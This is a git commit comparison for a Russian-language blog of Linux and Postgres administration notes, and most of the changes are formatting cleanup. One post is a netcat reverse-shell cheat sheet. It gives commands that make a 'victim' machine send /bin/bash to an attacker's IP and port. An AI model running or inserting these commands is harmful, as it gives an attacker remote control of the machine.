Compare commits

..

6 Commits

Author SHA1 Message Date
9bfafe2086
fix 2023-12-26 06:13:39 +06:00
a51bd84b61
Update default.md 2023-12-26 06:04:44 +06:00
177fed258c
fix 2023-12-26 05:59:05 +06:00
41a208ffe0
rebase 2023-12-26 05:53:47 +06:00
299a17db96 little fixes 2023-12-26 04:34:28 +06:00
502633a0d5
Update subtitle.html 2023-12-26 04:04:07 +06:00
30 changed files with 123 additions and 56 deletions

2
.gitmodules vendored
View File

@ -1,3 +1,3 @@
[submodule "themes/themu"] [submodule "themes/themu"]
path = themes/themu path = themes/themu
url = https://github.com/fruworg/themu url = https://github.com/fruworg/themu.git

View File

@ -3,4 +3,3 @@ title: "{{ replace .Name "-" " " | title }}"
date: {{ .Date }} date: {{ .Date }}
draft: true draft: true
--- ---

View File

@ -18,6 +18,7 @@ hostnamectl set-hostname <dc-name>.<domain>
``` ```
## Добавление репозиториев ALD Pro ## Добавление репозиториев ALD Pro
В файл `/etc/apt/sources.list.d/aldpro.list` необходимо добавить репозиторий ALD Pro: В файл `/etc/apt/sources.list.d/aldpro.list` необходимо добавить репозиторий ALD Pro:
```config ```config
@ -26,6 +27,7 @@ deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic ma
``` ```
## Выставление приоритета репозиториев ## Выставление приоритета репозиториев
В файле `/etc/apt/preferences.d/aldpro` необходимо выставить приоритет репозиториев: В файле `/etc/apt/preferences.d/aldpro` необходимо выставить приоритет репозиториев:
```config ```config
@ -35,11 +37,13 @@ Pin-Priority: 900
``` ```
## Установка пакета ## Установка пакета
```shell ```shell
DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
``` ```
## Развёртывание ## Развёртывание
После того, как команда развёртывания отработает и сервер перезагрузитcя, После того, как команда развёртывания отработает и сервер перезагрузитcя,
сервер ALD Pro будет доступен по адресу: `https://<dc-name>.<domain>` сервер ALD Pro будет доступен по адресу: `https://<dc-name>.<domain>`

View File

@ -5,12 +5,12 @@ description: Небольшая памятка
tags: [linux, astra] tags: [linux, astra]
--- ---
## Установка пакета fly ## Установка пакета fly
```bash ```shell
apt install fly-all-main apt install fly-all-main
``` ```
## Загрузка ОС с GUI по-умолчанию ## Загрузка ОС с GUI по-умолчанию
```bash ```shell
systemctl set-default graphical.target systemctl set-default graphical.target
``` ```
@ -22,6 +22,6 @@ systemctl get-default
``` ```
### Вернуть загрузку ОС с CLI ### Вернуть загрузку ОС с CLI
```bash ```shell
systemctl set-default multi-user.target systemctl set-default multi-user.target
``` ```

View File

@ -6,6 +6,7 @@ tags: [linux]
--- ---
## Смена имени ## Смена имени
Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить. Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить.
```bash ```bash
LANG=C xdg-user-dirs-update --force LANG=C xdg-user-dirs-update --force

View File

@ -4,25 +4,30 @@ date: 2022-11-25T19:17:00+05:00
description: Команда ip в Linux description: Команда ip в Linux
tags: [linux] tags: [linux]
--- ---
## Показать все интерфейсы ## Показать все интерфейсы
```shell
```bash
ip a ip a
ip l ip l
``` ```
## Показать информацию по конкретному интерфейсу ## Показать информацию по конкретному интерфейсу
```shell
```bash
ip a show <interface> ip a show <interface>
ip l show <interface> ip l show <interface>
``` ```
## Изменить статус сетевого интерфейса ## Изменить статус сетевого интерфейса
```shell ```shell
ip l set <interface> down ip l set <interface> down
ip l set <interface> up ip l set <interface> up
``` ```
## Добавить или удалить адрес ## Добавить или удалить адрес
```shell ```shell
ip a add <ip-address/mask> dev <interface> ip a add <ip-address/mask> dev <interface>
ip a add brd <ip-address/mask> dev <interface> ip a add brd <ip-address/mask> dev <interface>

View File

@ -7,6 +7,7 @@ tags: [linux, krb5]
## Конфигурация сервера ## Конфигурация сервера
### Установка пакетов ### Установка пакетов
```shell ```shell
apt -y install krb5-kdc krb5-admin-server apt -y install krb5-kdc krb5-admin-server
``` ```
@ -14,19 +15,23 @@ apt -y install krb5-kdc krb5-admin-server
## Конфигурация клиента ## Конфигурация клиента
### Установка пакетов ### Установка пакетов
```shell ```shell
apt -y install krb5-user libpam-krb5 apt -y install krb5-user libpam-krb5
``` ```
## Общая конфигурация ## Общая конфигурация
На сервере и клиенте надо проделать следующие шаги: На сервере и клиенте надо проделать следующие шаги:
### Смена hostname ### Смена hostname
```shell ```shell
hostnamectl set-hostname <hostname> hostnamectl set-hostname <hostname>
``` ```
### Правка файла hosts ### Правка файла hosts
Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там. Вместо правки файла `/etc/hosts` можно поднять DNS-сервер и сделать записи там.
```config ```config
<server-ip> <server-name.domain.name> <server-name> <server-ip> <server-name.domain.name> <server-name>
@ -34,6 +39,7 @@ hostnamectl set-hostname <hostname>
``` ```
### Редактирование конфига Kerberos ### Редактирование конфига Kerberos
В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc: В `/etc/krb5.conf` необходимо добавить данные а реалме и kdc:
```config ```config
[libdefaults] [libdefaults]
@ -55,11 +61,13 @@ hostnamectl set-hostname <hostname>
## Создание нового реалма (на сервере) ## Создание нового реалма (на сервере)
### Создание master key для БД krb5 ### Создание master key для БД krb5
```shell ```shell
krb5_newrealm krb5_newrealm
``` ```
### Создание учётной записи администратора ### Создание учётной записи администратора
```shell ```shell
kadmin.local kadmin.local
addprinc <admin-name>/admin addprinc <admin-name>/admin

View File

@ -13,6 +13,7 @@ nameserver <dns-server>
``` ```
## Статика ## Статика
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки: В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
```shell ```shell
@ -24,6 +25,7 @@ iface <interface> inet static
``` ```
## DHCP ## DHCP
В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки: В файл `/etc/network/interfaces.d/<interface>` необходимо добавить следующие строки:
```shell ```shell

View File

@ -7,17 +7,20 @@ tags: [linux, nfs]
## Настройка NFS-сервера ## Настройка NFS-сервера
### Установка пакета ### Установка пакета
```shell ```shell
apt -y install nfs-kernel-server apt -y install nfs-kernel-server
``` ```
### Создание каталога, который будет расшарен ### Создание каталога, который будет расшарен
```shell ```shell
mkdir /nfs mkdir /nfs
chmod 777 /nfs chmod 777 /nfs
``` ```
### Разрешение сетевого доступа ### Разрешение сетевого доступа
В файл `/etc/exports` необходимо добавить следующую строку: В файл `/etc/exports` необходимо добавить следующую строку:
```config ```config
@ -27,16 +30,19 @@ chmod 777 /nfs
## Настройка NFS-клиента ## Настройка NFS-клиента
### Установка пакета ### Установка пакета
```shell ```shell
apt -y install nfs-common apt -y install nfs-common
``` ```
### Запуск службы ### Запуск службы
``` shell ``` shell
systemctl enable --now rpcbind systemctl enable --now rpcbind
``` ```
### Автомонитрование ### Автомонитрование
В файл `/etc/fstab` необходимо добавить следующую строку: В файл `/etc/fstab` необходимо добавить следующую строку:
```shell ```shell

View File

@ -7,16 +7,19 @@ tags: [linux]
## Распаковка пакета ## Распаковка пакета
### Распаковка данных ### Распаковка данных
```shell ```shell
dpkg -x "<package>.deb" <folder> dpkg -x "<package>.deb" <folder>
``` ```
### Распаковка метаданных ### Распаковка метаданных
```shell ```shell
dpkg -e "<package>.deb" <folder>/DEBIAN dpkg -e "<package>.deb" <folder>/DEBIAN
``` ```
## Сборка пакета ## Сборка пакета
```shell ```shell
dpkg -b <folder> "<package>.deb" dpkg -b <folder> "<package>.deb"
``` ```

View File

@ -4,12 +4,15 @@ description: Базовые команды
date: 2022-11-25T13:58:10+05:00 date: 2022-11-25T13:58:10+05:00
tags: [linux, lvm] tags: [linux, lvm]
--- ---
## Установка пакекта ## Установка пакекта
```shell ```shell
apt -y install lvm2 apt -y install lvm2
``` ```
## Создание ## Создание
``` shell ``` shell
pvcreate /dev/sda pvcreate /dev/sda
vgcreate vg-name /dev/sda vgcreate vg-name /dev/sda
@ -17,6 +20,7 @@ lvcreate -L 10G -n lv-name vg-name
``` ```
## Изменение ## Изменение
```shell ```shell
vgextend vg /dev/sdb vgextend vg /dev/sdb
lvresize -rL +1G /dev/vg-name/lv-name lvresize -rL +1G /dev/vg-name/lv-name
@ -24,6 +28,7 @@ lvresize -rl +100%FREE /dev/vg-name/lv-name
``` ```
## Просмотр ## Просмотр
```shell ```shell
pvs pvs
vgs vgs

View File

@ -6,24 +6,24 @@ tags: [linux, tls]
--- ---
## Извлечение сертификата и ключа ## Извлечение сертификата и ключа
```shell ```bash
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
``` ```
## Извлечение сертификата ## Извлечение сертификата
```shell ```bash
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
``` ```
## Извлечение ключа ## Извлечение ключа
```shell ```bash
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key
``` ```
## Обеспароливание ключа ## Обеспароливание ключа
```shell ```bash
openssl rsa -in <key>.tmp.key -out <key>.key openssl rsa -in <key>.tmp.key -out <key>.key
``` ```

View File

@ -5,30 +5,32 @@ date: 2023-03-03T13:26:00+05:00
tags: [linux, postgres] tags: [linux, postgres]
--- ---
## На старой версии (<=12) ## На старой версии (<=12)
Заходим в консоль Postgres: Заходим в консоль Postgres:
```shell ```bash
psql psql
``` ```
Убиваем соединения с БД: Убиваем соединения с БД:
```psql ```sql
SELECT pg_terminate_backend (pid) SELECT pg_terminate_backend (pid)
FROM pg_stat_activity FROM pg_stat_activity
WHERE pg_stat_activity.datname = '<database_name>'; WHERE pg_stat_activity.datname = '<database_name>';
``` ```
Дропаем БД: Дропаем БД:
```shell ```sql
DROP DATABASE <database_name>; DROP DATABASE <database_name>;
``` ```
## На новой версии (>=13) ## На новой версии (>=13)
Заходим в консоль Postgres: Заходим в консоль Postgres:
```shell ```bash
psql psql
``` ```
Дропаем БД: Дропаем БД:
```psql ```sql
DROP DATABASE <database_name> WITH (FORCE); DROP DATABASE <database_name> WITH (FORCE);
``` ```

View File

@ -10,16 +10,18 @@ AD необходимо дать роль CA и выпустить сертиф
## Перенос сертификата ## Перенос сертификата
Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой: Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой:
```shell ```bash
openssl x509 -inform der -in <ad>.cer -out <ad>.pem openssl x509 -inform der -in <ad>.cer -out <ad>.pem
``` ```
## Установка пакета ldap-utils ## Установка пакета ldap-utils
```shell ```shell
apt install ldap-utils -y apt install ldap-utils -y
``` ```
## Правка ldap конфига ## Правка ldap конфига
В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки: В файл `/etc/ldap/ldap.conf` необходимо добавить следующие строки:
```config ```config
@ -29,23 +31,26 @@ URI ldaps://<dc>.<domain>.<local>:636
``` ```
## Проверка ldap ## Проверка ldap
```shell
```bash
ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user> ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user>
``` ```
## Правка pg_hba.conf ## Правка pg_hba.conf
С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (=""). С ldapprefix/ldapsuffix в файле `/var/lib/pgpro/std-14/data/pg_hba.conf`, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (="").
```config ```config
host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>" host <database> <user> <ip>/<mask> ldap ldapserver=<dc>.<domain>.<local> ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=<domain>,dc=<local>"
``` ```
## Создание пользователя в Postgres ## Создание пользователя в Postgres
```shell
```bash
psql -c "CREATE USER <domain-user>;" psql -c "CREATE USER <domain-user>;"
``` ```
## Перезапуск Postgres Pro ## Перезапуск Postgres Pro
```shell ```shell
systemctl restart postgres* systemctl restart postgres*
``` ```

View File

@ -5,6 +5,7 @@ date: 2022-11-25T16:20:00+05:00
tags: [linux, astra, postgres] tags: [linux, astra, postgres]
--- ---
## Добавление репозитория ## Добавление репозитория
``` shell ``` shell
apt -y install gnupg apt -y install gnupg
wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add -
@ -12,23 +13,27 @@ echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main
``` ```
## Установка пакета ## Установка пакета
```shell ```shell
apt update apt update
apt -y install postgrespro-std-14 apt -y install postgrespro-std-14
``` ```
## systemd ## systemd
```shell ```shell
/opt/pgpro/std-14/bin/pg-setup service enable --now /opt/pgpro/std-14/bin/pg-setup service enable --now
ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service
``` ```
## Обновление путей ## Обновление путей
```shell ```shell
/opt/pgpro/std-14/bin/pg-wrapper links update /opt/pgpro/std-14/bin/pg-wrapper links update
``` ```
## Смена пароля postgres ## Смена пароля postgres
```shell ```shell
su - postgres su - postgres
psql -c "ALTER USER postgres PASSWORD '<password>';" psql -c "ALTER USER postgres PASSWORD '<password>';"

View File

@ -4,6 +4,7 @@ description: Потоковая репликация и репликация с
date: 2022-11-25T16:51:00+05:00 date: 2022-11-25T16:51:00+05:00
tags: [linux, postgres, nfs] tags: [linux, postgres, nfs]
--- ---
## Установка Postgres Pro ## Установка Postgres Pro
Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se). Процесс установки описан в [этом посте](/posts/postgres-pro-astra-se).
@ -11,17 +12,16 @@ tags: [linux, postgres, nfs]
Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf). Про различия в реализациях репликаций можно почитать вот [здесь](//edu.postgrespro.ru/dba3/dba3_04_replica_physical.pdf).
### Конфигурация master ### Конфигурация master
Действия с Postgres Pro следует выполнять от имени пользователя postgres.
```shell
su - postgres
```
#### Создание пользователя для репликации #### Создание пользователя для репликации
```shell
```bash
su - postgres
psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';" psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';"
``` ```
#### Разрешение подключения для slave #### Разрешение подключения для slave
Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`: Дописываем в конец файла `/var/lib/pgpro/std-*/data/pg_hba.conf`:
```config ```config
@ -29,7 +29,8 @@ host replication repuser <slave-ip>/32 md5
``` ```
#### Реконфигурация #### Реконфигурация
В файл `/var/lib/pgpro/std-13/data/postgresql.conf` необходимо добавить следующие строки:
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
```config ```config
listen_addresses = 'localhost, <master-ip>' listen_addresses = 'localhost, <master-ip>'
@ -54,13 +55,16 @@ pg_basebackup -P -R -X stream -c fast -h <master-ip> -U postgres -D /var/lib/pgp
``` ```
## Репликация с архивом ## Репликация с архивом
Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации: Настройка репликации с архивом выролняется с некоторыми отличиями от потоковой репликации:
### Развёртывание NFS ### Развёртывание NFS
WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs). WAL-архивы будут складываться на NFS. Как сконфигурировать NFS написано [здесь](/posts/linux-nfs).
Необходимо смонтировать NFS на master и slave в одинаковые директории. Необходимо смонтировать NFS на master и slave в одинаковые директории.
### Дополнение к реконфигурации ### Дополнение к реконфигурации
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки: В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
```config ```config
@ -69,6 +73,7 @@ archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log'
``` ```
## Синхронный и асинхронный режим репликации ## Синхронный и асинхронный режим репликации
При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу. При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу.
По умолчанию репликация работает в асинхронном режиме. По умолчанию репликация работает в асинхронном режиме.
Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`: Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro `/var/lib/pgpro/std-*/data/postgresql.conf`:

View File

@ -5,6 +5,7 @@ date: 2022-12-14T16:48:00+05:00
tags: [linux, postgres] tags: [linux, postgres]
--- ---
## Скрипт для бэкапа БД и глобальных объектов ## Скрипт для бэкапа БД и глобальных объектов
В файл `/home/<username>/pg-backup.sh` необходимо добавить следующие строки: В файл `/home/<username>/pg-backup.sh` необходимо добавить следующие строки:
```config ```config
#!/usr/bin/env bash #!/usr/bin/env bash
@ -14,13 +15,15 @@ pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d'
``` ```
## Файл cron с запуском скрипта (каждый день в 2:00) ## Файл cron с запуском скрипта (каждый день в 2:00)
Необходимо дописать в конец `crontab -e -u <username>` следующие строки: Необходимо дописать в конец `crontab -e -u <username>` следующие строки:
```config ```config
0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh 0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh
``` ```
## Рестор файлов БД и глобальных объектов ## Рестор файлов БД и глобальных объектов
```shell
```bash
pg_restore -C -d postgres <dbname>-<date>.dump pg_restore -C -d postgres <dbname>-<date>.dump
psql -U postgres < gb-<date>.dump psql -U postgres < gb-<date>.dump
``` ```

View File

@ -5,13 +5,15 @@ date: 2022-11-28T20:25:00+05:00
tags: [linux, postgres, tls] tags: [linux, postgres, tls]
--- ---
## Создание сертификата ## Создание сертификата
В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт. В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт.
Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro. Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro.
```shell ```bash
openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365 openssl req -x509 -newkey rsa:4096 -keyout <key>.pem -out <cert>.pem -sha256 -days 365
``` ```
## Включение TLS ## Включение TLS
В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки: В файл `/var/lib/pgpro/std-*/data/postgresql.conf` необходимо добавить следующие строки:
```config ```config
ssl = on ssl = on
@ -21,12 +23,14 @@ listen_addresses = 'localhost, <master-ip>'
``` ```
## Разрешение доступа через TLS ## Разрешение доступа через TLS
В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки: В файл `/var/lib/pgpro/std-*/data/pg_hba.conf` необходимо добавить следующие строки:
```config ```config
hostssl <user> <database> <client-ip> scram-sha-256 hostssl <user> <database> <client-ip> scram-sha-256
``` ```
## (ре)Генерация пароля ## (ре)Генерация пароля
В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль: В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль:
```shell ```shell
psql -c \password psql -c \password

View File

@ -6,7 +6,7 @@ tags: [linux, postgres]
--- ---
## Листинг запущенных экземпляров PostgreSQL ## Листинг запущенных экземпляров PostgreSQL
```shell ```bash
pg_lsclusters pg_lsclusters
``` ```

View File

@ -6,6 +6,7 @@ tags: [linux, windows]
--- ---
## Подключение ## Подключение
Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`: Если используешь иксы, то вместо `wlfreerdp` пиши `xfreerdp`:
```bash ```bash
wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /f wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /f

View File

@ -4,16 +4,19 @@ description: Используя Traditional и OpenBSD Netcat
date: 2022-12-09T15:02:00+05:00 date: 2022-12-09T15:02:00+05:00
tags: [linux, ssh, hack] tags: [linux, ssh, hack]
--- ---
## Машина атакующего ## Машина атакующего
```shell ```shell
nc -lvp <port> nc -lvp <port>
``` ```
## Машина жертвы (Traditional Netcat) ## Машина жертвы (Traditional Netcat)
```shell ```shell
nc <attacker-ip> <port> -e /bin/bash nc <attacker-ip> <port> -e /bin/bash
``` ```
## Машина жертвы (OpenBSD Netcat) ## Машина жертвы (OpenBSD Netcat)
```shell ```shell
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/null
``` ```

View File

@ -83,7 +83,7 @@ bundle exec rake install
## Сборка бинарника ## Сборка бинарника
Собираем бинарник. Обязательно при этом необходимо молиться. Собираем бинарник и молимся.
```shell ```shell
cd <ruby-util-dir> cd <ruby-util-dir>
rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util> rubyc -r . -d /tmp/ -o <ruby-util> exe/<ruby-util>

View File

@ -5,18 +5,21 @@ date: 2023-05-12T18:20:00+05:00
tags: [linux, astra, alt, tls] tags: [linux, astra, alt, tls]
--- ---
## Получение корневого сертификата ## Получение корневого сертификата
```shell
```bash
echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.pem echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.pem
``` ```
## Astra Linux ## Astra Linux
### Перемещение сертификата ### Перемещение сертификата
```shell ```shell
cp <certificate>.pem /usr/local/share/ca-certificates cp <certificate>.pem /usr/local/share/ca-certificates
``` ```
### Обновление состава доверенного хранилища ### Обновление состава доверенного хранилища
```shell ```shell
dpkg-reconfigure ca-certificates dpkg-reconfigure ca-certificates
``` ```
@ -24,11 +27,13 @@ dpkg-reconfigure ca-certificates
## Alt Linux ## Alt Linux
### Перемещение сертификата ### Перемещение сертификата
```shell ```shell
cp <certificate>.pem /etc/pki/ca-trust/source/anchors/ cp <certificate>.pem /etc/pki/ca-trust/source/anchors/
``` ```
### Обновление состава доверенного хранилища ### Обновление состава доверенного хранилища
```shell ```shell
update-ca-trust enable update-ca-trust enable
update-ca-trust extract update-ca-trust extract

View File

@ -5,22 +5,23 @@ date: 2022-11-29T13:35:00+05:00
tags: [linux, ssh] tags: [linux, ssh]
--- ---
## Установка пакета ## Установка пакета
```shell ```shell
apt install -y openssh-server libpam-google-authenticator apt install -y openssh-server libpam-google-authenticator
``` ```
## Правка конфига PAM ## Правка конфига PAM
```shell
auth required pam_google_authenticator.so
# auth required pam_google_authenticator.so В файл `/etc/pam.d/common-auth` необходимо добавить следующее:
```config
auth required pam_google_authenticator.so
``` ```
## Правка конфига ssh ## Правка конфига ssh
В файл `/etc/ssh/sshd_config` необходимо добавить следующее:
```config ```config
ChallengeResponseAuthentication yes ChallengeResponseAuthentication yes
# /etc/ssh/sshd_config
``` ```
## Конфигурация аутентификации ## Конфигурация аутентификации
@ -32,18 +33,14 @@ google-authenticator
``` ```
## Управление факторами (необязательно) ## Управление факторами (необязательно)
Включить запрос ключа при аутентификации: Для запроса ключа при аутентификации необходимо в файл `/etc/ssh/sshd_config` добавить следующее:
```config ```config
AuthenticationMethods publickey,password publickey,keyboard-interactive AuthenticationMethods publickey,password publickey,keyboard-interactive
# /etc/ssh/sshd_config
``` ```
Отключить запрос пароля при аутентификации: Для отключения запроса пароля при аутентификации необходимо в файле `/etc/pam.d/sshd` закомментировать следующюю строку:
```config ```config
# @include common-auth # @include common-auth
# /etc/pam.d/sshd
``` ```
## Перезапуск сервиса ssh ## Перезапуск сервиса ssh

View File

@ -10,6 +10,7 @@ apt -y install fail2ban
``` ```
## Правило для ssh ## Правило для ssh
В файл `/etc/fail2ban/jail.d/sshd.conf` необходимо добавить следующее:
```config ```config
[sshd] [sshd]
enabled = true enabled = true
@ -19,8 +20,6 @@ logpath = /var/log/auth.log
maxretry = 3 maxretry = 3
findtime = 300 findtime = 300
bantime = 3600 bantime = 3600
# /etc/fail2ban/jail.d/sshd.conf
``` ```
## Перезапуск сервиса fail2ban ## Перезапуск сервиса fail2ban

View File

@ -4,11 +4,13 @@ description: У созданных VM будет включен буфер об
date: 2022-11-25T15:08:00+05:00 date: 2022-11-25T15:08:00+05:00
tags: [vmware] tags: [vmware]
--- ---
## Изменение конфига ## Изменение конфига
В файл `/etc/vmware/config` необходимо добавить следующее:
```config ```config
vmx.fullpath = "/bin/vmx" vmx.fullpath = "/bin/vmx"
isolation.tools.copy.disable="FALSE" isolation.tools.copy.disable="FALSE"
isolation.tools.paste.disable="FALSE" isolation.tools.paste.disable="FALSE"
# /etc/vmware/config
``` ```

View File

@ -4,11 +4,14 @@ description: При перезагрузке гипервизора будет
date: 2022-11-25T15:18:00+05:00 date: 2022-11-25T15:18:00+05:00
tags: [vmware] tags: [vmware]
--- ---
## Изменение скрипта ## Изменение скрипта
В файл `/etc/rc.local.d/local.sh` необходимо добавить следующее:
```config ```config
#!/bin/sh ++group=host/vim/vmvisor/boot #!/bin/sh ++group=host/vim/vmvisor/boot
esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0 esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0
exit 0 exit 0
# /etc/rc.local.d/local.sh
``` ```

View File

@ -4,12 +4,12 @@ description: Позволяет отключить определённую фу
date: 2023-04-06T12:15:00+05:00 date: 2023-04-06T12:15:00+05:00
tags: [windows] tags: [windows]
--- ---
## Отключение ## Отключение
В ветке реестра выставить значение value на 1. В ветке реестра выставить значение value на 1.
```config ```config
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleep
# regedit
``` ```

@ -1 +1 @@
Subproject commit 74059bf954c2bf6fb2232ed3d2171e1f3216f44d Subproject commit e0440e9f6dba4d44aba9a7aa84289d5a50e87597